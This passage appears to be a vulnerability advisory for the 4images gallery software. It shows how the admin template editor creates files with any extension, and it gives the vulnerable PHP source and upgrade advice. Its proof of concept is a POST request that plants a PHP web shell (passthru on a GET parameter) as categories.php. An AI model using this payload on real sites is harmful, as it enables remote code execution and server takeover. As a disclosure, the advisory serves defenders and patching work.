2. Vulnerability Description

CVSS

High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description

4images comes with a HTML Template editor which allows the editing of HTML
files. But it will also create a new file if the passed file name does not
already exist. When doing this, it does not check that the extension of the
passed file is .html.

Admin credentials are required to use the HTML template editor.

3. Proof of Concept


POST /4images/admin/templates.php HTTP/1.1

__csrf=28a9a05b480c3f8ed326523b1ce7532c&action=savetemplate&content=<?php passthru($_GET['x']);&template_file_name=categories.php&template_folder=default

4. Code


/admin/templates.php

if (isset($HTTP_GET_VARS['template_file_name']) || isset($HTTP_POST_VARS['template_file_name'])) {
$template_file_name = (isset($HTTP_GET_VARS['template_file_name'])) ? trim($HTTP_GET_VARS['template_file_name']) : trim($HTTP_POST_VARS['template_file_name']);
$template_file_name = (strpos($template_file_name, 'media/') !== false ? 'media/' : '') . basename($template_file_name);
}
else {
$template_file_name = "";
}

if ($action == "savetemplate") {
if (isset($HTTP_POST_VARS['content'])) {
$content = trim($HTTP_POST_VARS['content']);
}
else {
$content = "";
}

if ($template_file_name != "" && $content != "") {
$content = un_htmlspecialchars($content);
$content = stripslashes($content);
$fp = @fopen(ROOT_PATH.TEMPLATE_DIR."/".$template_folder."/".$template_file_name, "w+");
if (@fwrite($fp, $content)) {
$msg = $lang['template_edit_success'];
}
else {
$msg = sprintf("<span class=\"marktext\">%s</span>", $lang['template_edit_error']);
}
}
$action = "modifytemplates";
}

5. Solution

To mitigate this issue please upgrade at least to version 1.7.12:
